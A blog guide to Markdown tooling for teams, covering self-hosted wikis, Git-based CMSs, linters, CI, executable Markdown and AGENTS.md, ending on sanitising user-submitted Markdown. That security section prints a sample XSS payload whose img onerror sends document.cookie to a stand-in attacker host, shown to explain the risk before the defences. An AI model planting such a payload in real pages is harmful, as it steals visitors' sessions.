Markdown is perfect right up until a second person touches it. On your own, a folder of .md files is the best documentation system ever invented. Add four colleagues and suddenly you’ve got three different heading styles, a README that links to a domain that expired in 2023, and Steve, who writes every sentence in passive voice and genuinely doesn’t know he’s doing it.
I covered the single-developer Markdown ecosystem elsewhere — readers, diagram languages, static site builders, parsers, CLI tools, the whole toolbox for one person and their files. This is the other half: what happens when your Markdown gets an audience, a review process, and colleagues who need to edit it without touching a terminal.
This is the whole stack for that, in the order you’ll hit it: somewhere for team Markdown to live that isn’t a €20-per-seat SaaS bill, a way for non-developers to edit it, search so people can find it, CI that rejects bad structure and dead links, docs that can’t drift from reality, a file that tells AI agents your conventions, and — the one that bites hardest — rendering user-submitted Markdown without opening an XSS hole.
Everything here is open source unless I say otherwise.
Why Bother Self-Hosting Any of This?
The pitch for a hosted wiki is genuinely good: someone else runs it, it just works, done. So why run your own?
- The per-seat maths gets ugly fast. Notion Business runs $20 per user per month, and Confluence Standard starts around $5.42. A 50-person team on Notion Business is roughly $12,000 a year. The same team on Confluence Standard is closer to $3,250. Self-hosted, you’re paying for a VPS — call it €10 to €20 a month plus your time.
- Data sovereignty is a real requirement in the EU, not a talking point. Internal documentation contains customer names, incident write-ups, architecture details and occasionally credentials someone pasted in and forgot about. Keeping that on a box in Frankfurt or Helsinki removes an entire category of GDPR conversation about third-country transfers.
- Your content stays Markdown. This is the one that actually matters long term. A self-hosted wiki that stores Markdown gives you an exit. A proprietary block database gives you an export button and a prayer.
- No feature you rely on gets moved behind a higher tier. You’ve seen this happen. You’ll see it again.
The honest counter-argument: you’re now the one on call when Postgres fills the disk at 2am. If your team is four people and nobody enjoys server maintenance, paying for hosting is a perfectly rational choice. Nothing below changes that.
Self-Hosted Markdown Wikis
Quick Answer: Docmost, Outline, Wiki.js, BookStack and Trilium all store team documentation as Markdown and run in Docker, but they target very different teams.
Docmost (AGPL-3.0)
Docmost is where I’d point most teams starting today. It launched in 2024, so it’s the newest thing here, and it shows in the right ways: a block-based editor with slash commands, real-time collaborative editing, spaces for organising content, and a deployment story that doesn’t require a weekend.
The licence is AGPL-3.0, which is genuine OSI-approved open source with no commercial-use asterisk. That matters more than it sounds, and I’ll come back to it. Current release is v0.95.0, and the repo sees commits most days.
Here’s the official Compose file, straight from the project repo:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
services: docmost: image: docmost/docmost:latest depends_on: - db - redis environment: APP_URL: 'http://localhost:3000' APP_SECRET: 'REPLACE_WITH_LONG_SECRET' DATABASE_URL: 'postgresql://docmost:STRONG_DB_PASSWORD@db:5432/docmost' REDIS_URL: 'redis://redis:6379' ports: - "3000:3000" restart: unless-stopped volumes: - docmost:/app/data/storage db: image: postgres:18 environment: POSTGRES_DB: docmost POSTGRES_USER: docmost POSTGRES_PASSWORD: STRONG_DB_PASSWORD restart: unless-stopped volumes: - db_data:/var/lib/postgresql redis: image: redis:8 command: ["redis-server", "--appendonly", "yes", "--maxmemory-policy", "noeviction"] restart: unless-stopped volumes: - redis_data:/data volumes: docmost: db_data: redis_data: |
Generate a real secret before you start, obviously:
|
1 2 3 |
openssl rand -hex 32 docker compose up -d |
Perfect for: teams who want the Notion experience without the Notion invoice, and who’d rather not spend a day on setup.
Outline (Source-Available, BSL 1.1)
Outline is the most polished thing in this list. The editor is excellent, the API is comprehensive, SSO works properly, and the Slack and Figma integrations are the real thing rather than a checkbox. If you’ve got a larger organisation that already runs SSO, this is the most mature option available. Current release is v1.9.2.
Two caveats, and both are worth knowing before you commit.
The first is infrastructure. Outline wants PostgreSQL, Redis and S3-compatible object storage. That’s three dependencies before you’ve written a single page. The minimum environment variables are URL, DATABASE_URL, REDIS_URL and SECRET_KEY, and the official hosting docs sensibly tell you to pin image versions rather than chase latest.
The second caveat gets its own section below, because it catches people out.
Perfect for: bigger teams that want maximum polish and already have the infrastructure muscle to run three backing services.
Wiki.js (AGPL-3.0)
Wiki.js has the feature I most wish everything else had: bidirectional Git sync. Your wiki pages are Markdown files in a Git repo, edits in the web UI commit back, and commits pushed to the repo appear in the wiki. For a developer team that already lives in Git, that’s close to ideal. It also offers three editor types per page — Markdown, WYSIWYG, or raw HTML — so the people who want a rich editor and the people who want a text box can share one wiki.
The official example Compose file is refreshingly small:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
version: "3" services: db: image: postgres:15-alpine environment: POSTGRES_DB: wiki POSTGRES_PASSWORD: wikijsrocks POSTGRES_USER: wikijs logging: driver: "none" restart: unless-stopped volumes: - db-data:/var/lib/postgresql/data wiki: image: requarks/wiki:2 depends_on: - db environment: DB_TYPE: postgres DB_HOST: db DB_PORT: 5432 DB_USER: wikijs DB_PASS: wikijsrocks DB_NAME: wiki restart: unless-stopped ports: - "80:3000" - "443:3443" volumes: db-data: |
The catch, and it’s a significant one: development has slowed a long way down. Version 3 shipped a developer preview back in October 2022 with a beta promised “in the coming weeks or months” — and as of now it’s still listed as no ETA. Version 2 remains on the 2.5.x line getting maintenance fixes rather than new features, with v2.5.314 released in May 2026. Looking at the repository directly, the most recent commits to the main branch are also from early May 2026, where the actively developed alternatives here commit weekly or daily. The community discussion points to the lead developer’s health as the reason, which is a completely human thing and not a criticism of anyone.
What that means practically: v2 works, it’s stable, it still gets security patches, and the Git sync is still the best implementation of that idea available. Just go in expecting the software you see today rather than a roadmap.
Perfect for: developer teams who want their wiki backed by Git and are happy with a mature, slow-moving v2.
BookStack (MIT)
BookStack is the one to hand to people who don’t write code. Its organising metaphor is shelves, books, chapters and pages, which everybody understands immediately without a tutorial. It’s been in development for over ten years, it’s MIT licensed — the most permissive thing in this list — and the current release is v26.05.3.
One honest detail the roundups usually skip: BookStack does not ship an official Docker image. The project documents manual installation and Ubuntu install scripts as the supported paths, and points at community Docker setups from LinuxServer.io and solidnerd. Those community images are well maintained and enormously popular, but they aren’t the project’s own. Requirements if you’re going manual are PHP 8.2+ and MySQL 8.0+ or MariaDB 10.6+.
I’m not going to repeat the deployment here, because I already wrote it up in detail as Day 11 of my 7 Days of Docker series — full Compose file, the LinuxServer.io image, app key generation and the APP_URL gotcha that breaks every asset link if you get it wrong. Go there for the setup.
Perfect for: mixed teams where non-technical colleagues need to contribute without being taught anything.
Trilium (AGPL-3.0)
Trilium is a personal knowledge graph with hierarchical notes, arbitrary relation maps, scripting and cloning. It’s excellent at what it does. It is not a team wiki, and I’d rather say that plainly than let you find out after migrating.
Its history is worth a sentence because it’s a genuinely nice open source story. The original project went quiet, the community forked it as TriliumNext to keep it maintained, and the original author then handed the name and repository over once the fork had proved itself. It’s now simply Trilium again, under the TriliumNext organisation, AGPL-3.0, currently at v0.104.1.
Perfect for: one person, or two, building a dense personal knowledge base. Not for documenting a product.
Wiki Comparison
| Platform | Licence | Stack | Real-time collab | Git sync | Deploy effort |
|---|---|---|---|---|---|
AGPL-3.0 | Node + Postgres + Redis | Yes | No | Low | |
BSL 1.1 (source-available) | Node + Postgres + Redis + S3 | Yes | No | High | |
AGPL-3.0 | Node + Postgres | No | Yes, bidirectional | Low | |
MIT | PHP + MySQL/MariaDB | No | No | Low (community image) | |
AGPL-3.0 | Node, single container | No | No | Very low |
The Licence Trap: “Open Source” Isn’t Always Open Source
Quick Answer: Outline ships under the Business Source License 1.1, which is source-available rather than OSI-approved open source, and converts to Apache 2.0 on 1 January 2030.
Nearly every roundup you’ll read lists Outline as open source. GitHub itself doesn’t recognise the licence file, which is the tell — the API reports it as unrecognised rather than naming a standard licence.
What BSL 1.1 actually means in practice:
- You can read the source. All of it.
- You can self-host it for your own team, free. This is the case that covers almost everyone reading this, and it is genuinely fine.
- You cannot offer it as a competing hosted service. That’s the restriction the licence exists to create.
- It becomes Apache 2.0 on 2030-01-01. BSL has a built-in change date, after which the restriction lapses entirely.
So should you care? If you’re a company running an internal wiki: no, run it and enjoy it. If you’re building a product on top of it, or you work somewhere with a policy that only permits OSI-approved licences, or you just want the guarantee that nobody can change the terms on you: care a lot, and pick Docmost, Wiki.js or BookStack instead.
Worth being fair to Outline here — BSL is a legitimate licence with a real purpose, and shipping with a defined conversion date is far more honest than the “open core” bait-and-switch a lot of vendors run. It’s just not the same thing as AGPL or MIT, and calling it open source without qualification is sloppy.
Git-Based CMS: Let Non-Developers Edit Your Markdown
Quick Answer: A Git-based CMS gives editors a friendly web UI that commits Markdown straight to your repository — no database, no separate content API.
A wiki solves internal documentation. It doesn’t solve your public site. If your marketing pages or docs are a static Markdown site, then someone eventually asks how to update the pricing page, and the honest answer is “clone the repo, install Node, edit some YAML front matter, open a pull request.” That’s not a workflow, that’s a hazing ritual.
A Git-based CMS sits in front of the repo. Editors get form fields and a rich text editor. What comes out the other end is a normal commit containing normal Markdown. Your build pipeline doesn’t change at all, and if you delete the CMS tomorrow your content is untouched.
Decap CMS (MIT)
Decap CMS is the one you’ve heard of, formerly Netlify CMS. MIT licensed, works with basically every static site generator and Git backend, close to a decade of production use behind it.
You’ll read a lot of posts calling it abandoned. That’s overstated and worth correcting: Netlify did step back and hand it to the community, but the repository is still getting commits — most recently a Git Gateway auth fix within the last couple of days. What’s fair criticism is that the pace is slower than the newer alternatives, there’s a long tail of open issues, and the admin UI looks its age.
Config is a single YAML file:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
backend: name: github repo: your-org/your-site branch: main media_folder: "static/images/uploads" public_folder: "/images/uploads" collections: - name: "posts" label: "Blog posts" folder: "content/posts" create: true slug: "{{year}}-{{month}}-{{day}}-{{slug}}" fields: - { label: "Title", name: "title", widget: "string" } - { label: "Publish date", name: "date", widget: "datetime" } - { label: "Body", name: "body", widget: "markdown" } |
Sveltia CMS (MIT)
Sveltia CMS is the modern rewrite of Decap, and the clever bit is that it reuses many existing Decap config files. If Decap’s UI is what’s bothering you, this is close to a drop-in swap. Better performance, a genuinely modern interface, and built-in internationalisation rather than i18n bolted on afterwards.
MIT licensed and committing daily. The catch: it’s still in beta, with 1.0 targeted for late 2026. For a personal site that’s fine. For a client project, know what you’re signing up for.
Keystatic (MIT)
Keystatic from Thinkmill takes the developer-first angle: you define your content schema in TypeScript, so you get type safety and editor autocomplete on your content model. It edits Markdown, JSON and YAML through a web admin UI, and content can live locally or on GitHub.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
import { config, fields, collection } from '@keystatic/core' export default config({ storage: { kind: 'github', repo: 'your-org/your-site' }, collections: { posts: collection({ label: 'Posts', slugField: 'title', path: 'content/posts/*', format: { contentField: 'content' }, schema: { title: fields.slug({ name: { label: 'Title' } }), publishedAt: fields.date({ label: 'Published' }), content: fields.markdoc({ label: 'Content' }), }, }), }, }) |
If your team already writes TypeScript, this feels natural in a way the YAML-configured options don’t.
Pages CMS (MIT)
Pages CMS is the minimalist pick, built by Ronan Berder. Single config file, no database, no backend. It’s 100% free whichever way you run it — use the hosted version, deploy it free on Vercel, or self-host. MIT licensed.
One deliberate limitation: GitHub only. No GitLab, no Bitbucket, and that’s a stated design decision rather than a missing feature. Works with Jekyll, Hugo, Astro, Next.js and friends.
Git CMS Comparison
| CMS | Licence | Config | Git backends | Status | Best for |
|---|---|---|---|---|---|
MIT | YAML | GitHub, GitLab, Bitbucket, Gitea | Stable, slow-moving | Widest compatibility | |
MIT | YAML (Decap-compatible) | GitHub, GitLab | Beta, 1.0 late 2026 | Modern UI, escaping Decap | |
MIT | TypeScript | GitHub, local | Stable | Type-safe schemas | |
MIT | Single file | GitHub only | Stable | Minimal setup, free hosting |
Static Search: Pagefind Makes Markdown Findable
Quick Answer: Pagefind splits its search index into chunks so the browser only downloads the parts a query needs — a 10,000-page site costs under 300kB total.
Search is the thing most static Markdown sites just don’t have, because the traditional options are both bad. Client-side indexes like Lunr ship the entire index to every visitor, which is fine at 50 pages and unusable at 5,000. Hosted services like Algolia work brilliantly and introduce a third-party dependency, an API key and a bill.
Pagefind, originally built at CloudCannon and MIT licensed, sidesteps both. It runs after your site builds, crawls the generated HTML, and writes a chunked index. The browser loads a small WASM binary and a manifest, then fetches only the index chunks a given query touches.
Because it indexes built HTML rather than source, it doesn’t care what generated your site. Hugo, Astro, Eleventy, MkDocs, a pile of hand-written HTML — all identical to Pagefind.
|
1 2 3 4 5 |
# index a built site and preview it npx -y pagefind --site public --serve # just build the index as part of CI npx -y pagefind --site dist |
Then drop the UI into your template:
|
1 2 3 4 5 |
<link href="/pagefind/pagefind-component-ui.css" rel="stylesheet"> <script src="/pagefind/pagefind-component-ui.js" type="module"></script> <pagefind-modal-trigger></pagefind-modal-trigger> <pagefind-modal></pagefind-modal> |
That’s the whole integration. Multilingual support needs no configuration, results come back at section level rather than dumping you at the top of a page, and you get filtering, custom metadata and sorting. Note that version 1.5.0 introduced a new Component UI replacing the older Default UI, so older tutorials will show different element names.
Docs-as-Code: Keeping Team Markdown Clean
Quick Answer: Three linters cover three different failure modes — markdownlint-cli2 for structure, Vale for prose, lychee for dead links.
Docs-as-code just means treating documentation like source code: it lives in version control, it goes through review, and CI checks it before it merges. The last part is where most teams stop, usually because “linting prose” sounds like a solution in search of a problem.
It isn’t. Documentation fails in three distinct ways, and each needs a different tool:
- Structure — inconsistent heading levels, missing alt text, bare URLs, mixed list markers. Caught by markdownlint.
- Prose — passive voice, vague qualifiers, inconsistent product naming, non-inclusive language. Caught by Vale.
- Links — the thing that silently rots and makes your docs look abandoned. Caught by lychee.
Run all three. They don’t overlap.
markdownlint-cli2 (MIT) — Structure
markdownlint-cli2 is the CI-friendly runner for markdownlint. Config lives in .markdownlint-cli2.yaml:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
config: # line length is a losing battle in docs, turn it off MD013: false # allow inline HTML - you will need it for tables and details blocks MD033: false # first line does not have to be a top-level heading (front matter) MD041: false # enforce consistent unordered list markers MD004: style: dash # require alt text on images MD045: true globs: - "docs/**/*.md" - "README.md" ignores: - "node_modules" - "CHANGELOG.md" |
|
1 2 3 4 |
npx markdownlint-cli2 # fix what can be fixed automatically npx markdownlint-cli2 --fix |
Vale (MIT) — Prose
Vale is the interesting one. It’s a markup-aware prose linter, meaning it understands Markdown structure and won’t flag your code blocks as bad grammar. And critically, you don’t have to invent a style guide — Vale ships established ones as installable packages, including the Microsoft Writing Style Guide and the Google Developer Documentation Style Guide.
Heads up on the URL: the project moved organisations, and the canonical repository is now vale-cli/vale. Old links to errata-ai/vale still redirect, but they’re stale.
|
1 2 3 4 5 6 |
brew install vale choco install vale snap install vale # or run it containerised docker pull jdkato/vale |
Configuration goes in .vale.ini at your repo root. StylesPath is where rule definitions get downloaded, Packages lists what to fetch, and BasedOnStyles says which of them to actually apply:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
StylesPath = styles MinAlertLevel = warning Packages = Microsoft, write-good Vocab = ProjectTerms [*.md] BasedOnStyles = Vale, Microsoft, write-good # do not lint fenced code blocks BlockIgnores = (^```[\s\S]*?^```) # ignore reference-style link definitions TokenIgnores = (\[?-?@[^\s\]]+\]?) [docs/internal/*.md] # internal notes get a lighter touch BasedOnStyles = Vale |
Then download the packages and run it:
|
1 2 3 4 5 6 7 8 9 10 |
vale sync vale README.md vale --glob='*.md' docs/ # CI-friendly: JSON output, errors only, do not fail the build yet vale --output=JSON --minAlertLevel=error --no-exit docs/ # check your config is what you think it is vale ls-config |
The Vocab setting is the one that makes Vale stick in a real team. It’s your project’s accept/reject word list — your product names spelled the one correct way, terms you’ve banned, acronyms you allow. Without it, Vale flags your own brand names as typos and everyone turns it off within a week.
One deliberate warning about package pinning: naming a package installs its latest release, so the rules you get today can change when that package updates and a previously clean build starts failing. Pin to a specific release URL if that would ruin your afternoon.
Browse what’s available in the Vale package explorer, or read the packages repository directly.
lychee (Apache-2.0) — Links
lychee is a fast async link checker written in Rust. It handles Markdown, HTML and reStructuredText, checks both URLs and mail addresses, and it’s quick enough that running it across an entire docs tree isn’t something you’ll avoid doing.
|
1 2 3 4 5 6 7 8 9 10 11 |
brew install lychee cargo install lychee # check everything lychee . # markdown only, with caching so repeat runs are fast lychee --cache --max-cache-age 1d './docs/**/*.md' # skip the slow stuff and accept a couple of status codes lychee --accept 200,429 --exclude-mail './**/*.md' |
Exclusions live in a .lycheeignore file at the repo root, one regular expression per line:
|
1 2 3 4 5 6 7 8 |
# localhost and example URLs in code samples ^https?://localhost ^https?://127\.0\.0\.1 example\.com # sites that block automated requests linkedin\.com twitter\.com |
That last group matters more than you’d expect. Plenty of sites return 403 to anything that looks like a bot, and a link checker that cries wolf gets switched off. Exclude them and move on.
textlint and proselint (The Alternatives)
textlint is the pluggable alternative to Vale, MIT licensed and built on a Node.js plugin architecture. Its rule ecosystem for non-English languages, Japanese especially, is far ahead of anything else — if you’re publishing multilingual docs, look here first.
proselint is the opposite philosophy: opinionated, zero configuration, BSD-3-Clause, built around advice from established writing authorities. There’s nothing to tune, which is either exactly what you want or immediately disqualifying.
Wiring It All Into CI
Here’s the full three-layer setup as a single GitHub Actions workflow. This mirrors what GitLab runs on its own knowledge-graph docs — markdownlint-cli2 for structure, Vale for prose, lychee for links:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
name: Docs Quality on: pull_request: paths: - '**/*.md' - '.vale.ini' - '.markdownlint-cli2.yaml' jobs: structure: name: Markdown structure runs-on: ubuntu-latest steps: - uses: actions/checkout@v5 - name: Run markdownlint-cli2 run: npx markdownlint-cli2 prose: name: Prose style runs-on: ubuntu-latest steps: - uses: actions/checkout@v5 - name: Install Vale run: | curl -sfL https://raw.githubusercontent.com/vale-cli/vale/master/install.sh \ | sh -s -- -b /usr/local/bin - name: Download style packages run: vale sync - name: Lint prose run: vale --minAlertLevel=error docs/ links: name: Broken links runs-on: ubuntu-latest steps: - uses: actions/checkout@v5 - name: Run lychee id: lychee uses: lycheeverse/lychee-action@v2 with: args: --cache --max-cache-age 1d './**/*.md' fail: true |
A practical note on rollout, learned the hard way: don’t turn all three on at full strictness on day one. Point Vale at an existing docs tree and it will find several hundred warnings, the team will conclude the tool is broken, and you’ll never get it back. Start with --minAlertLevel=error, fix what it flags, then tighten to warning once the baseline is clean.
The lychee action also has a nice trick for scheduled runs: set fail: false and pipe the output into peter-evans/create-issue-from-file, and a nightly job will open a GitHub issue listing every dead link instead of failing a build nobody’s watching. That’s the better pattern for link rot, which is a maintenance problem rather than a merge blocker.
Quality Tooling Comparison
| Tool | Licence | Language | Catches | Config file |
|---|---|---|---|---|
MIT | JavaScript | Structure, formatting, alt text | .markdownlint-cli2.yaml | |
MIT | Go | Prose style, terminology, tone | .vale.ini | |
Apache-2.0 | Rust | Dead links, bad mail addresses | .lycheeignore | |
MIT | JavaScript | Prose, strong i18n rule support | .textlintrc | |
BSD-3-Clause | Python | Prose, opinionated and zero-config | .proselintrc |
Executable Markdown: Docs That Actually Run
Quick Answer: These tools run the shell commands inside your Markdown code blocks, so setup instructions can’t drift from the commands that really work.
Linting catches bad prose and dead links. It can’t catch the worst documentation failure of all: instructions that are simply no longer true. Every README has this problem. The install steps were correct once. Then a flag changed, or a service got renamed, and now step four fails silently and nobody notices for six months, because nobody runs the README — they run the commands they’ve memorised.
Executable Markdown closes that gap by making the document the thing that actually executes.
Runme (Apache-2.0)
Runme is the most ambitious of these — it turns Markdown into interactive DevOps notebooks. It runs the fenced code blocks in your existing files, keeps environment variables across cells, and pipes output from one cell into the next. Runtimes include Shell, Bash, JavaScript, TypeScript, Python, Ruby, Lua and Perl.
|
1 2 3 4 5 6 7 8 |
brew install runme npx runme # list every runnable block in the current directory runme ls # run a named task from your README runme run setup-database |
The key design choice: it’s 100% Markdown compatible, so your runbook stays a perfectly readable document on GitHub. There’s a VS Code extension with a notebook interface if you’d rather click than type. For onboarding docs and incident runbooks this is the strongest option here.
xc (MIT)
xc is the task-runner take — think Make or npm run, but discoverable, because the task list is your documentation. Headings become task names, code blocks become the commands, and tasks can declare dependencies on each other.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
## build Compiles the binary. ``` go build -o bin/app ./cmd/app ``` ## tag Deploys a new tag for the repo. Requires: build ``` export VERSION=`git rev-list --count HEAD` git tag v0.0.${VERSION} git push origin v0.0.${VERSION} ``` |
Run it with xc tag and the build task runs first. A new contributor opens your README and sees every task with an explanation — no separate Makefile with cryptic target names to go hunting for.
mdsh (MIT)
mdsh solves the inverse problem: instead of running commands from your docs, it embeds command output into them. It updates Markdown in place and it’s idempotent, so re-running just refreshes the generated blocks.
The classic use is a README section showing --help output that stays correct forever:
|
1 2 3 4 |
cargo install mdsh # regenerate every embedded block in place mdsh --inputs README.md |
Syntax uses $ to run a command and < to read a file, with > controlling how output is embedded. Wire it into a pre-commit hook and your documented output can never go stale. Available via Cargo, Nix, or as a pre-commit hook.
Executable Markdown Comparison
| Tool | Licence | Language | Direction | Best for |
|---|---|---|---|---|
Apache-2.0 | Go | Runs blocks from docs | Runbooks, DevOps notebooks, onboarding | |
MIT | Go | Runs blocks as named tasks | Replacing a Makefile with readable docs | |
MIT | Rust | Embeds output into docs | Keeping help text and samples current |
AGENTS.md: Markdown as the Interface to AI Agents
Quick Answer: AGENTS.md is a plain Markdown file at your repo root that tells coding agents how to build, test and style your project. Over 20 tools read it and 60,000+ projects ship one.
This one snuck up on people. Every coding agent needed project context, so every vendor invented its own dotfile, and for about a year you needed four near-identical files to support four tools.
AGENTS.md is the convergence. It’s now stewarded by the Agentic AI Foundation under the Linux Foundation, after collaborative development involving OpenAI Codex, Amp, Google’s Jules, Cursor and Factory. More than 20 agents and IDEs read it — GitHub Copilot, Claude Code, VS Code, Cursor, Zed, Warp, Devin and Gemini CLI among them — and it’s in use across 60,000+ open source projects.
The best design decision is what it isn’t: there’s no schema. No required fields, no YAML front matter, no validator. It’s standard Markdown with flexible headings, and agents just read the text. Where a README explains your project to humans, AGENTS.md explains it to machines.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
# AGENTS.md ## Project overview A Go API service backed by PostgreSQL. Handlers live in `internal/api`, database access is in `internal/store`. No ORM — plain SQL via sqlc. ## Build and test ```bash make build # compile to bin/api make test # unit tests, must pass before any commit make test-integration # needs docker compose up -d ``` ## Code style - Standard gofmt, enforced in CI - Errors wrapped with fmt.Errorf and %w, never swallowed - No new third-party dependencies without discussion ## Do not touch - `internal/store/generated/` is generated by sqlc — edit the SQL instead - `migrations/` is append-only, never edit an applied migration ## Commits Conventional commits. Keep the subject under 72 characters. |
Recommended sections are project overview, build and test commands, code style, testing, security notes, and commit or PR conventions. The “do not touch” section is the one people forget and the one that saves the most cleanup — generated directories and applied migrations are exactly what an agent will happily rewrite.
It pairs naturally with llms.txt, which does the same job for your published website rather than your codebase. I covered that side of things in my llms.txt guide.
Markdown Security: Don’t Get XSS’d Rendering User Content
Quick Answer: Markdown allows raw HTML by default. If you render user-submitted Markdown without disabling or sanitising that HTML, you have an XSS hole.
Here’s the part that catches people out, and it matters the moment your wiki or docs site accepts input from anyone you don’t personally trust: Markdown is not a safe format. The CommonMark spec permits inline HTML, deliberately. So this is valid Markdown:
|
1 2 3 4 5 |
Hello there! <img src=x onerror="fetch('https://evil.example/'+document.cookie)"> <script>alert('and this too')</script> |
Render that with default settings and you’ve shipped a vulnerability. Comments, profile bios, support tickets, wiki pages — anywhere users write Markdown and someone else reads it.
The Simple Fix: Turn HTML Off
If you don’t need inline HTML — and for user content you almost never do — just disable it. In markdown-it that’s the default, and you should keep it that way:
|
1 2 3 4 5 6 7 8 9 10 |
import MarkdownIt from 'markdown-it' // html: false is the default - do not "fix" this const md = new MarkdownIt({ html: false, // raw HTML in the source is escaped, not rendered linkify: true, typographer: true, }) const safe = md.render(userSubmittedMarkdown) |
Ninety percent of real-world Markdown XSS is somebody setting html: true because one user wanted an embedded video.
React: react-markdown and the rehype-raw Footgun
react-markdown is the standard way to render Markdown in React, and it’s safe by default for a good structural reason: it never uses dangerouslySetInnerHTML. It builds a virtual DOM from the AST instead, so raw HTML in the source simply has nowhere to go.
Its own documentation calls out three ways you can break that:
rehype-rawis the big one. It exists specifically to process raw HTML inside Markdown, which the docs describe as dangerous and as defeating the purpose of the library. Only use it if you genuinely trust the Markdown — and it adds roughly 60kB minzipped besides.- Overwriting
urlTransform. The default only permitshttp,https,irc,ircs,mailto,xmppand relative URLs. Replace it carelessly andjavascript:URLs walk right in. - Your own plugins and components. Custom
remarkPlugins,rehypePluginsand component overrides carry whatever risk you write into them. The library’s safety guarantee doesn’t extend to your code.
When You Really Do Need HTML: Sanitise It
Sometimes you need some HTML through — a wiki that allows tables and <details> blocks, say. Then you sanitise, using an allowlist rather than trying to block bad things.
In the unified ecosystem that’s rehype-sanitize, and the ordering matters enormously — sanitise after any plugin that could introduce HTML:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
import { unified } from 'unified' import remarkParse from 'remark-parse' import remarkGfm from 'remark-gfm' import remarkRehype from 'remark-rehype' import rehypeRaw from 'rehype-raw' import rehypeSanitize, { defaultSchema } from 'rehype-sanitize' import rehypeStringify from 'rehype-stringify' const schema = { ...defaultSchema, attributes: { ...defaultSchema.attributes, // allow syntax-highlighting classes on code elements code: [...(defaultSchema.attributes.code || []), ['className']], }, } const html = await unified() .use(remarkParse) .use(remarkGfm) .use(remarkRehype, { allowDangerousHtml: true }) .use(rehypeRaw) .use(rehypeSanitize, schema) // MUST come after rehypeRaw .use(rehypeStringify) .process(userSubmittedMarkdown) |
Outside the unified ecosystem, DOMPurify from Cure53 is the reference implementation. Apache-2.0, aggressively maintained, and it’s what you reach for when you’re sanitising HTML that came from anywhere at all:
|
1 2 3 4 5 6 7 8 9 10 11 |
import DOMPurify from 'dompurify' import { marked } from 'marked' const dirty = marked.parse(userSubmittedMarkdown) const clean = DOMPurify.sanitize(dirty, { ALLOWED_TAGS: ['p','h1','h2','h3','strong','em','code','pre', 'ul','ol','li','a','blockquote','table','thead', 'tbody','tr','th','td','img','details','summary'], ALLOWED_ATTR: ['href','src','alt','title','class'], }) |
The Rules, Short Version
- Never trust Markdown just because it isn’t HTML. It permits HTML by design.
- Disable raw HTML unless you have a concrete requirement.
html: falsein markdown-it; norehype-rawin unified. - If you must allow it, sanitise with an allowlist — never a blocklist. New attack vectors get invented; your allowlist doesn’t care.
- Sanitise last. After every plugin that could inject markup, not before.
- Add a Content Security Policy anyway. Defence in depth, for the day a sanitiser bypass gets published.
- Server-rendering doesn’t save you. The payload executes in the reader’s browser regardless of where the HTML was generated.
Which Setup Is Right for You?
- Small team, want it working this afternoon: Docmost. Real open source licence, three containers, done.
- Large org with SSO already running: Outline — as long as the BSL licence is acceptable to whoever reviews these things where you work.
- Developer team that wants docs in Git: Wiki.js, with clear eyes about v3 not arriving.
- Non-technical colleagues need to contribute: BookStack. The books-and-chapters model needs no explanation.
- Just you, building a personal knowledge graph: Trilium — and don’t try to make it a team wiki.
- Licence policy requires OSI-approved: Docmost or Wiki.js (AGPL-3.0), or BookStack (MIT). Not Outline.
- You publish docs and want them to stop rotting: lychee on a nightly schedule, opening issues rather than failing builds.
- Your docs read inconsistently across authors: Vale with the Microsoft or Google package, starting at error level only.
- You publish in several languages: textlint, for the i18n rule ecosystem.
- You want prose linting with zero setup: proselint. Nothing to configure, take it or leave it.
- A non-developer needs to edit your public site: Pages CMS if you’re on GitHub and want it done today, Sveltia CMS for a modern UI if beta is acceptable, Decap CMS if you need GitLab or Bitbucket.
- You write TypeScript and want typed content: Keystatic.
- Your docs site has no search: Pagefind. Any generator, about ten minutes.
- Your setup instructions keep going stale: Runme for runbooks people follow interactively, xc if you’d rather replace a Makefile.
- Your README shows command output that drifts: mdsh in a pre-commit hook.
- AI agents keep breaking your conventions: write an AGENTS.md. Half an hour, no schema to learn, read by everything.
- You render Markdown that users wrote: stop and check your HTML settings right now. Then rehype-sanitize or DOMPurify.
Glossary
- Docs-as-code
- Treating documentation exactly like source code: plain text in version control, changed via pull request, reviewed by humans, and checked automatically by CI before it merges.
- AGPL-3.0
- The Affero GPL. Like the GPL, but it also triggers the share-your-changes obligation when the software is offered over a network. OSI-approved open source. Docmost, Wiki.js and Trilium all use it.
- BSL 1.1 (Business Source License)
- A source-available licence, not OSI-approved open source. You can read and self-host the code, but not sell it as a competing hosted service. Includes a change date after which it converts to a normal open source licence — Outline’s is 1 January 2030.
- Source-available
- You can see the source, but the licence restricts what you may do with it. Distinct from open source, which places no restriction on field of use.
- Prose linter
- A tool that checks writing quality rather than syntax — passive voice, vague qualifiers, banned terminology, inconsistent product names. Vale, textlint and proselint are the main options.
- Style package
- A downloadable bundle of Vale rules implementing an established style guide, such as the Microsoft Writing Style Guide or Google’s developer documentation guide. Saves you writing rules from scratch.
- Vocab
- Vale’s per-project accept and reject word lists. Your product names, approved acronyms and banned terms live here, so the linter stops flagging your own brand as a spelling error.
- Bidirectional Git sync
- Wiki edits commit back to a Git repository, and commits pushed to that repository show up in the wiki. Wiki.js is the notable implementation.
- Block editor
- An editing model where each paragraph, heading or embed is a discrete draggable block, usually with slash commands. Popularised by Notion; Docmost and Outline both use it.
- CRDT
- Conflict-free Replicated Data Type. The data structure that lets several people type in the same document simultaneously without a central lock and without losing anyone’s edits. What real-time collaboration is built on.
- Link rot
- The slow decay of outbound links as sites move, rename or disappear. It’s why link checking belongs on a schedule rather than only in pull request CI.
- Git-based CMS
